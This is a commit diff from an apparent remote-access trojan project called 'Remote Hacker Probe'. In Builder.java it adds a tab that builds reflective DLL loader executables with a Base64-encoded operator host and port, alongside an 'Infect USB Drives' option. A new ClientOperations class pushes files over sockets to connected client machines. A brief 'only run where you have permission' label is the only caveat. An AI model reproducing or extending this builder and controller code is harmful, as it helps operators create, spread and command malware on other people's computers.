Skip to content

Commit eee770e

Browse files
committed
Goodbye!
1 parent efc6bb2 commit eee770e

File tree

240 files changed

+371432
-753
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

240 files changed

+371432
-753
lines changed

gui/.classpath

+1-5
Original file line numberDiff line numberDiff line change
@@ -24,15 +24,11 @@
2424
<attribute name="maven.pomderived" value="true"/>
2525
</attributes>
2626
</classpathentry>
27+
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-15"/>
2728
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
2829
<attributes>
2930
<attribute name="maven.pomderived" value="true"/>
3031
</attributes>
3132
</classpathentry>
32-
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER">
33-
<attributes>
34-
<attribute name="module" value="true"/>
35-
</attributes>
36-
</classpathentry>
3733
<classpathentry kind="output" path="target/classes"/>
3834
</classpath>

gui/downloads/DO_NOT_DELETE

Whitespace-only changes.

gui/icons/012-favorite.png

-16.1 KB
Binary file not shown.

gui/icons/013-data storage.png

-14.7 KB
Binary file not shown.

gui/icons/027-note.png

-15.6 KB
Binary file not shown.

gui/icons/029-notification.png

-14.8 KB
Binary file not shown.

gui/icons/030-pop up.png

-15.2 KB
Binary file not shown.

gui/icons/11.png

-15 KB
Binary file not shown.

gui/icons/14.png

-15.1 KB
Binary file not shown.

gui/icons/16.png

-15.1 KB
Binary file not shown.

gui/icons/18.png

-15.2 KB
Binary file not shown.

gui/icons/20.png

-15 KB
Binary file not shown.

gui/icons/21.png

-15.1 KB
Binary file not shown.

gui/icons/22.png

-15.1 KB
Binary file not shown.

gui/icons/23.png

-15.2 KB
Binary file not shown.

gui/icons/26.png

-15.1 KB
Binary file not shown.

gui/icons/30.png

-15.3 KB
Binary file not shown.

gui/icons/31.png

-15.2 KB
Binary file not shown.

gui/icons/32.png

-15 KB
Binary file not shown.

gui/icons/34.png

-15 KB
Binary file not shown.

gui/icons/35.png

-15.1 KB
Binary file not shown.

gui/icons/36.png

-15 KB
Binary file not shown.

gui/icons/37.png

-15.1 KB
Binary file not shown.

gui/icons/38.png

-15.1 KB
Binary file not shown.

gui/icons/39.png

-15 KB
Binary file not shown.

gui/icons/40.png

-15.1 KB
Binary file not shown.

gui/icons/41.png

-15.1 KB
Binary file not shown.

gui/icons/42.png

-15.1 KB
Binary file not shown.

gui/icons/43.png

-15.1 KB
Binary file not shown.

gui/icons/44.png

-15.2 KB
Binary file not shown.

gui/icons/45.png

-15.1 KB
Binary file not shown.

gui/icons/46.png

-15.1 KB
Binary file not shown.

gui/icons/47.png

-15.1 KB
Binary file not shown.

gui/icons/49.png

-15.1 KB
Binary file not shown.

gui/icons/50.png

-15.1 KB
Binary file not shown.

gui/icons/51.png

-15.1 KB
Binary file not shown.

gui/icons/52.png

-15.1 KB
Binary file not shown.

gui/icons/53.png

-15.2 KB
Binary file not shown.

gui/icons/54.png

-15.1 KB
Binary file not shown.

gui/icons/55.png

-15.1 KB
Binary file not shown.

gui/icons/56.png

-15.1 KB
Binary file not shown.

gui/icons/57.png

-15.1 KB
Binary file not shown.

gui/icons/58.png

-15.1 KB
Binary file not shown.

gui/icons/59.png

-15.1 KB
Binary file not shown.

gui/icons/60.png

-15.1 KB
Binary file not shown.

gui/icons/61.png

-15.1 KB
Binary file not shown.

gui/icons/7.png

-15.2 KB
Binary file not shown.

gui/icons/9.png

-15.1 KB
Binary file not shown.

gui/icons/arrows.png

-15 KB
Binary file not shown.

gui/pom.xml

+9-4
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,14 @@
2525
<version>2.6</version>
2626
</dependency>
2727
<dependency>
28-
<groupId>com.googlecode.json-simple</groupId>
29-
<artifactId>json-simple</artifactId>
30-
<version>1.1.1</version>
28+
<groupId>org.eclipse.ecf</groupId>
29+
<artifactId>org.json</artifactId>
30+
<version>1.0.0.v201011060100</version>
3131
</dependency>
32-
</dependencies>
32+
<dependency>
33+
<groupId>com.fifesoft</groupId>
34+
<artifactId>rsyntaxtextarea</artifactId>
35+
<version>3.1.2</version>
36+
</dependency>
37+
</dependencies>
3338
</project>

gui/rhp.ini

-3
This file was deleted.

gui/src/main/java/rhp/Builder.java

+108-60
Original file line numberDiff line numberDiff line change
@@ -30,12 +30,15 @@
3030
import javax.swing.GroupLayout;
3131
import javax.swing.GroupLayout.Alignment;
3232
import javax.swing.LayoutStyle.ComponentPlacement;
33+
import javax.swing.JTabbedPane;
3334

3435
public class Builder extends JDialog {
3536

3637
private final JPanel contentPanel = new JPanel();
3738
private JTextField portvalue;
3839
static JCheckBox usb;
40+
private JTextField reflectiveHost;
41+
private JTextField reflectivePort;
3942

4043
/**
4144
* Launch the application.
@@ -58,10 +61,15 @@ private static void copyFile(File source, File dest) throws IOException {
5861
}
5962
}
6063

61-
public static void build(String FilePath, String Host, String Port)
64+
public static void build(Boolean isLoader, String FilePath, String Host, String Port)
6265
{
63-
64-
File stub = new File("probe_bin");
66+
File stub;
67+
if(isLoader)
68+
{
69+
stub = new File("reflective_bin");
70+
} else {
71+
stub = new File("probe_bin");
72+
}
6573
String usbthread = "";
6674

6775
if(usb.isSelected())
@@ -86,7 +94,7 @@ public static void build(String FilePath, String Host, String Port)
8694
e.printStackTrace();
8795
}
8896
} else {
89-
JOptionPane.showMessageDialog(null, "ERROR : Cannot create stub because file 'probe_bin' is missing! Which is required!");
97+
JOptionPane.showMessageDialog(null, "ERROR : Cannot create stub because file 'probe_bin' or 'reflective_bin' is missing! Which is required!");
9098
}
9199
}
92100

@@ -96,27 +104,108 @@ public static void build(String FilePath, String Host, String Port)
96104
public Builder() {
97105
setResizable(false);
98106
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
99-
setTitle("Remote Hacker Probe | Client Builder");
100-
setBounds(100, 100, 379, 180);
107+
setTitle("Remote Hacker Probe Pro | Client Builder");
108+
setBounds(100, 100, 405, 252);
101109
getContentPane().setLayout(new BorderLayout());
102110
contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5));
103111
getContentPane().add(contentPanel, BorderLayout.CENTER);
112+
contentPanel.setLayout(null);
113+
114+
JTabbedPane tabbedPane = new JTabbedPane(JTabbedPane.TOP);
115+
tabbedPane.setBounds(0, 0, 499, 289);
116+
contentPanel.add(tabbedPane);
117+
118+
JPanel panel = new JPanel();
119+
tabbedPane.addTab("Probe Client", null, panel, null);
120+
121+
JPanel panel_1 = new JPanel();
122+
tabbedPane.addTab("DLL Loader", null, panel_1, null);
123+
panel_1.setLayout(null);
124+
125+
JLabel host_1 = new JLabel("Server Host : ");
126+
host_1.setFont(new Font("Calibri", Font.PLAIN, 12));
127+
host_1.setBounds(10, 52, 74, 31);
128+
panel_1.add(host_1);
129+
130+
reflectiveHost = new JTextField();
131+
reflectiveHost.setFont(new Font("Consolas", Font.PLAIN, 12));
132+
reflectiveHost.setColumns(10);
133+
reflectiveHost.setBounds(81, 47, 301, 42);
134+
panel_1.add(reflectiveHost);
135+
136+
JLabel lblNewLabel_2 = new JLabel("Server Port : ");
137+
lblNewLabel_2.setFont(new Font("Calibri", Font.PLAIN, 12));
138+
lblNewLabel_2.setBounds(10, 114, 74, 14);
139+
panel_1.add(lblNewLabel_2);
140+
141+
reflectivePort = new JTextField();
142+
reflectivePort.setFont(new Font("Consolas", Font.PLAIN, 12));
143+
reflectivePort.setColumns(10);
144+
reflectivePort.setBounds(81, 100, 301, 41);
145+
panel_1.add(reflectivePort);
146+
147+
JButton btnNewButton_1 = new JButton("Build");
148+
btnNewButton_1.addActionListener(new ActionListener() {
149+
public void actionPerformed(ActionEvent e) {
150+
String hs = reflectiveHost.getText();
151+
String ps = reflectivePort.getText();
152+
if(hs.length() > 0 && ps.length() > 0)
153+
{
154+
byte[] encodedHost = Base64.encodeBase64(hs.getBytes());
155+
String b64host = new String(encodedHost);
156+
157+
byte[] encodedPort = Base64.encodeBase64(ps.getBytes());
158+
String b64port = new String(encodedPort);
159+
160+
161+
162+
File fileToSave = null;
163+
JFileChooser fileChooser = new JFileChooser();
164+
FileNameExtensionFilter filter = new FileNameExtensionFilter("EXE File","exe");
165+
fileChooser.setFileFilter(filter);
166+
fileChooser.setDialogTitle("Where should this file be saved?");
167+
int userSelection = fileChooser.showSaveDialog(null);
168+
169+
if (userSelection == JFileChooser.APPROVE_OPTION) {
170+
fileToSave = fileChooser.getSelectedFile();
171+
build(true, fileToSave.getAbsolutePath() + ".exe", b64host, b64port);
172+
173+
}
174+
175+
} else {
176+
JOptionPane.showMessageDialog(null, "One or more values have been left empty.");
177+
}
178+
}
179+
});
180+
btnNewButton_1.setFont(new Font("Calibri", Font.BOLD, 12));
181+
btnNewButton_1.setBounds(220, 164, 162, 23);
182+
panel_1.add(btnNewButton_1);
183+
184+
JLabel lblNewLabel_1_1 = new JLabel("Only run where you have permission to do so!");
185+
lblNewLabel_1_1.setFont(new Font("Calibri", Font.PLAIN, 12));
186+
lblNewLabel_1_1.setBounds(10, 11, 277, 14);
187+
panel_1.add(lblNewLabel_1_1);
104188

105189
JLabel host = new JLabel("Server Host : ");
190+
host.setBounds(5, 36, 74, 31);
106191
host.setFont(new Font("Calibri", Font.PLAIN, 12));
107192

108193
JLabel lblNewLabel = new JLabel("Server Port : ");
194+
lblNewLabel.setBounds(5, 100, 74, 14);
109195
lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12));
110196

111197
JTextField hostvalue = new JTextField();
198+
hostvalue.setBounds(83, 31, 301, 41);
112199
hostvalue.setFont(new Font("Consolas", Font.PLAIN, 12));
113200
hostvalue.setColumns(10);
114201

115202
portvalue = new JTextField();
203+
portvalue.setBounds(83, 83, 301, 41);
116204
portvalue.setFont(new Font("Consolas", Font.PLAIN, 12));
117205
portvalue.setColumns(10);
118206

119207
JButton btnNewButton = new JButton("Build");
208+
btnNewButton.setBounds(222, 163, 162, 23);
120209
btnNewButton.addActionListener(new ActionListener() {
121210
public void actionPerformed(ActionEvent e) {
122211
String hs = hostvalue.getText();
@@ -140,7 +229,7 @@ public void actionPerformed(ActionEvent e) {
140229

141230
if (userSelection == JFileChooser.APPROVE_OPTION) {
142231
fileToSave = fileChooser.getSelectedFile();
143-
build(fileToSave.getAbsolutePath() + ".exe", b64host, b64port);
232+
build(false, fileToSave.getAbsolutePath() + ".exe", b64host, b64port);
144233

145234
}
146235

@@ -151,63 +240,22 @@ public void actionPerformed(ActionEvent e) {
151240
});
152241
btnNewButton.setFont(new Font("Calibri", Font.BOLD, 12));
153242

154-
JLabel lblNewLabel_1 = new JLabel("Only install where you have permission to do so!");
243+
JLabel lblNewLabel_1 = new JLabel("Only run where you have permission to do so!");
244+
lblNewLabel_1.setBounds(5, 6, 277, 14);
155245
lblNewLabel_1.setFont(new Font("Calibri", Font.PLAIN, 12));
156246

157247
usb = new JCheckBox("Infect USB Drives");
248+
usb.setBounds(6, 163, 198, 23);
158249

159250
usb.setFont(new Font("Calibri", Font.PLAIN, 12));
160-
GroupLayout gl_contentPanel = new GroupLayout(contentPanel);
161-
gl_contentPanel.setHorizontalGroup(
162-
gl_contentPanel.createParallelGroup(Alignment.LEADING)
163-
.addGroup(gl_contentPanel.createSequentialGroup()
164-
.addGap(5)
165-
.addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
166-
.addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 277, GroupLayout.PREFERRED_SIZE)
167-
.addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
168-
.addGroup(gl_contentPanel.createSequentialGroup()
169-
.addComponent(lblNewLabel, GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE)
170-
.addComponent(portvalue, GroupLayout.PREFERRED_SIZE, 261, GroupLayout.PREFERRED_SIZE)
171-
.addGap(2))
172-
.addGroup(gl_contentPanel.createSequentialGroup()
173-
.addComponent(host, GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE)
174-
.addComponent(hostvalue, GroupLayout.PREFERRED_SIZE, 261, GroupLayout.PREFERRED_SIZE)
175-
.addGap(2))
176-
.addGroup(gl_contentPanel.createSequentialGroup()
177-
.addPreferredGap(ComponentPlacement.RELATED)
178-
.addComponent(usb, GroupLayout.DEFAULT_SIZE, 123, Short.MAX_VALUE)
179-
.addGap(129)
180-
.addComponent(btnNewButton, GroupLayout.DEFAULT_SIZE, 86, Short.MAX_VALUE)
181-
.addPreferredGap(ComponentPlacement.RELATED))))
182-
.addGap(0))
183-
);
184-
gl_contentPanel.setVerticalGroup(
185-
gl_contentPanel.createParallelGroup(Alignment.LEADING)
186-
.addGroup(gl_contentPanel.createSequentialGroup()
187-
.addGap(6)
188-
.addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE)
189-
.addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
190-
.addGroup(gl_contentPanel.createSequentialGroup()
191-
.addGap(19)
192-
.addComponent(host, GroupLayout.PREFERRED_SIZE, 14, Short.MAX_VALUE)
193-
.addGap(7))
194-
.addGroup(gl_contentPanel.createSequentialGroup()
195-
.addGap(9)
196-
.addComponent(hostvalue, GroupLayout.DEFAULT_SIZE, 31, Short.MAX_VALUE)))
197-
.addPreferredGap(ComponentPlacement.RELATED)
198-
.addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
199-
.addGroup(gl_contentPanel.createSequentialGroup()
200-
.addGap(14)
201-
.addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE))
202-
.addGroup(gl_contentPanel.createSequentialGroup()
203-
.addGap(4)
204-
.addComponent(portvalue, GroupLayout.DEFAULT_SIZE, 31, Short.MAX_VALUE)))
205-
.addPreferredGap(ComponentPlacement.RELATED)
206-
.addGroup(gl_contentPanel.createParallelGroup(Alignment.BASELINE)
207-
.addComponent(usb)
208-
.addComponent(btnNewButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
209-
.addGap(7))
210-
);
211-
contentPanel.setLayout(gl_contentPanel);
251+
panel.setLayout(null);
252+
panel.add(lblNewLabel_1);
253+
panel.add(usb);
254+
panel.add(btnNewButton);
255+
panel.add(host);
256+
panel.add(lblNewLabel);
257+
panel.add(portvalue);
258+
panel.add(hostvalue);
259+
212260
}
213261
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
package rhp;
2+
3+
import java.io.DataOutputStream;
4+
import java.io.File;
5+
import java.io.FileInputStream;
6+
import java.io.FileNotFoundException;
7+
import java.io.IOException;
8+
import java.net.Socket;
9+
import java.util.Arrays;
10+
import java.util.concurrent.TimeUnit;
11+
12+
public class ClientOperations {
13+
// TODO : Add more functionality here
14+
public static void UploadFile(Socket CLIENTSOCKET, File file, String FileName)
15+
{
16+
int filesize = (int) file.length();
17+
if(FileName.length() > 0) {
18+
byte[] file_buffer = new byte[filesize];
19+
Arrays.fill(file_buffer, (byte)0);
20+
int count = 0;
21+
DataOutputStream out = null;
22+
try {
23+
out = new DataOutputStream(CLIENTSOCKET.getOutputStream());
24+
} catch (IOException e1) {
25+
// TODO Auto-generated catch block
26+
e1.printStackTrace();
27+
}
28+
FileInputStream in = null;
29+
try {
30+
in = new FileInputStream(file);
31+
32+
} catch (FileNotFoundException e3) {
33+
// TODO Auto-generated catch block
34+
e3.printStackTrace();
35+
}
36+
37+
MainWindow.HaltAllSystems();
38+
MainWindow.Log("File " + file + " is being uploaded. Please wait.");
39+
// Send File Save Trigger
40+
Server.SendData(CLIENTSOCKET, "frecv");
41+
Server.SendData(CLIENTSOCKET, FileName + ":" + String.valueOf(filesize));
42+
// Send the File!
43+
try {
44+
TimeUnit.SECONDS.sleep(1);
45+
} catch (InterruptedException e1) {
46+
// TODO Auto-generated catch block
47+
e1.printStackTrace();
48+
}
49+
try {
50+
while ((count = in.read(file_buffer)) > 0) {
51+
out.write(file_buffer, 0, count);
52+
}
53+
} catch (IOException e2) {
54+
// TODO Auto-generated catch block
55+
e2.printStackTrace();
56+
}
57+
58+
MainWindow.EnableAllSystems();
59+
MainWindow.Log("File '" + file + "' Uploaded, Wait for Message Box to confirm.");
60+
ServerThread.WaitForReply();
61+
FileManager.Refresh();
62+
}
63+
}
64+
}

0 commit comments

Comments
 (0)